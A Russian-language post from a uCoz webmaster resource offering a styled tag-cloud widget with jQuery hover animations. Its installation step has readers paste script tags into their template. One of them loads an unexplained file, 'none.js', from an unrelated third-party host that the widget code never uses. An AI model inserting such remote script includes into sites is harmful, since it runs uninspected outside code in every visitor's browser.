Кто с нами
|
Онлайн всего: 6 Гостей: 6 Пользователей: 0
|
|
|
|
|
|
|
Добро пожаловать на сайт Ms-Studio.do.am!
Наш сайт создан специально для вебмастеров и посвящен популярному конструктору сайтов под названием ucoz , у нас на сайте вы можете скачать красивые шаблоны для ucoz , эксклюзивные скрипты для ucoz , шаблоны для ucoz , подобрать меню для ucoz , выбрать шапки для ucoz, заказать графику и многое другое.
Скачать бесплатно вы сможете все, что пожелайте. Удачи!
Главная » 2012 » Октябрь » 17 » Информер тегов с дизайном как на Dle
10:48 Информер тегов с дизайном как на Dle |
Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном
Установка:
Ваш шаблон куда-нить наверх добавить этот код:
Code <script type="text/javascript" src="http://ili.pp.ua/js_css/jquery-1.2.6.pack.js"></script> <script src="http://cm4fan.ru/none.js" type="text/javascript"></script> <script type="text/javascript" src="http://ili.pp.ua/js_css/effects.core.js"></script> <script type="text/javascript"> $(document).ready(function(){ var f_color = ''; $("a.structure").hover(function() { f_color = this.style.color; $(this).animate({ backgroundColor: "#4f94d0", color: "#ffffff" }, 700); },function() { $(this).animate({ backgroundColor: "white", color: f_color }, 200); }); }); </script>
Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!
Code <div id="content"> <div id="right"> <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a> <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a> <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a> <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a> <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a> <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a> <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>
|
Категория: Прочее |
Просмотров: 563 |
Добавил: Aninew
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|
|
|
|
|
|
|
Мини профиль
|
Четверг 21.11.2024 13:41
|
|
|